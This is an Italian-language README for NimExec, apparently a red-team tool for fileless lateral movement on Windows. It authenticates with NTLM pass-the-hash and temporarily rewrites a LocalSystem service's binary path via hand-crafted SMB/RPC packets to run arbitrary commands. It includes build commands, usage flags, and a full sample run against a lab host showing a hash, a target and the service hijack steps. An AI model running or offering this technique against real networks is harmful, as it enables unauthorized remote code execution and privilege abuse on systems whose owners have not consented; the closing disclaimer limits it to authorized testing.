
Esecuzione di comandi senza file per movimento laterale in Nim
In pratica, NimExec è uno strumento di esecuzione di comandi remoti senza file che utilizza il protocollo remoto di Service Control Manager (MS-SCMR). Modifica il percorso binario di un servizio random o specificato eseguito da LocalSystem per eseguire il comando fornito sul target e lo ripristina successivamente tramite pacchetti RPC creati manualmente anziché chiamate WinAPI. Invia questi pacchetti su SMB2 e la named pipe svcctl.
NimExec necessita di un hash NTLM per autenticarsi alla macchina target e completa questo processo di autenticazione con il metodo di autenticazione NTLM tramite pacchetti creati manualmente.
Poiché tutti i pacchetti di rete necessari sono creati manualmente e non vengono utilizzate funzioni specifiche del sistema operativo, NimExec può essere utilizzato su diversi sistemi operativi grazie al supporto di cross-compilazione di Nim.
Questo progetto è stato ispirato dallo strumento SharpNoPSExec di Julio. Puoi considerare NimExec come una versione cross-compilabile e con supporto nativo di Pass the Hash di SharpNoPSExec. Inoltre, ho appreso le strutture dei pacchetti di rete necessari dallo script Invoke-SMBExec di Kevin Robertson.
nim c -d:release --gc:markAndSweep -o:NimExec.exe Main.nim
Il comando precedente utilizza un Garbage Collector diverso perché il garbage collector predefinito in Nim genera alcuni errori SIGSEGV durante il processo di ricerca dei servizi.
Inoltre, puoi installare i moduli Nim necessari tramite Nimble con il seguente comando:
nimble install ptr_math nimcrypto hostname
test@ubuntu:~/Desktop/NimExec$ ./NimExec -u testuser -d TESTLABS -h 123abcbde966780cef8d9ec24523acac -t 10.200.2.2 -c 'cmd.exe /c "echo test > C:\Users\Public\test.txt"' -v
_..._
.-'_..._''.
_..._ .--. __ __ ___ __.....__ __.....__ .' .' '.\
.' '. |__|| |/ `.' `. .-'' '. .-'' '. / .'
. .-. ..--.| .-. .-. ' / .-''"'-. `. / .-''"'-. `. . '
| ' ' || || | | | | |/ /________\ \ ____ _____/ /________\ \| |
| | | || || | | | | || |`. \ .' /| || |
| | | || || | | | | |\ .-------------' `. `' .' \ .-------------'. '
| | | || || | | | | | \ '-.____...---. '. .' \ '-.____...---. \ '. .
| | | ||__||__| |__| |__| `. .' .' `. `. .' '. `._____.-'/
| | | | `''-...... -' .' .'`. `. `''-...... -' `-.______ /
| | | | .' / `. `. `
'--' '--' '----' '----'
@R0h1rr1m
[+] Connected to 10.200.2.2:445
[+] NTLM Authentication with Hash is succesfull!
[+] Connected to IPC Share of target!
[+] Opened a handle for svcctl pipe!
[+] Bound to the RPC Interface!
[+] RPC Binding is acknowledged!
[+] SCManager handle is obtained!
[+] Number of obtained services: 265
[+] Selected service is LxpSvc
[+] Service: LxpSvc is opened!
[+] Previous Service Path is: C:\Windows\system32\svchost.exe -k netsvcs
[+] Service config is changed!
[!] StartServiceW Return Value: 1053 (ERROR_SERVICE_REQUEST_TIMEOUT)
[+] Service start request is sent!
[+] Service config is restored!
[+] Service handle is closed!
[+] Service Manager handle is closed!
[+] SMB is closed!
[+] Tree is disconnected!
[+] Session logoff!
È stato testato su Windows 10 e 11, Windows Server 2016, 2019 e 2022 da macchine Ubuntu 20.04 e Windows 10.
-v | --verbose Enable more verbose output.
-u | --username <Username> Username for NTLM Authentication.*
-h | --hash <NTLM Hash> NTLM password hash for NTLM Authentication.**
-p | --password <Password> Plaintext password.**
-t | --target <Target> Lateral movement target.*
-c | --command <Command> Command to execute.*
-d | --domain <Domain> Domain name for NTLM Authentication.
-s | --service <Service Name> Name of the service instead of a random one.
--help Show the help message.
Solo per test di sicurezza autorizzati. L'uso improprio di questo strumento contro sistemi senza esplicita autorizzazione è illegale.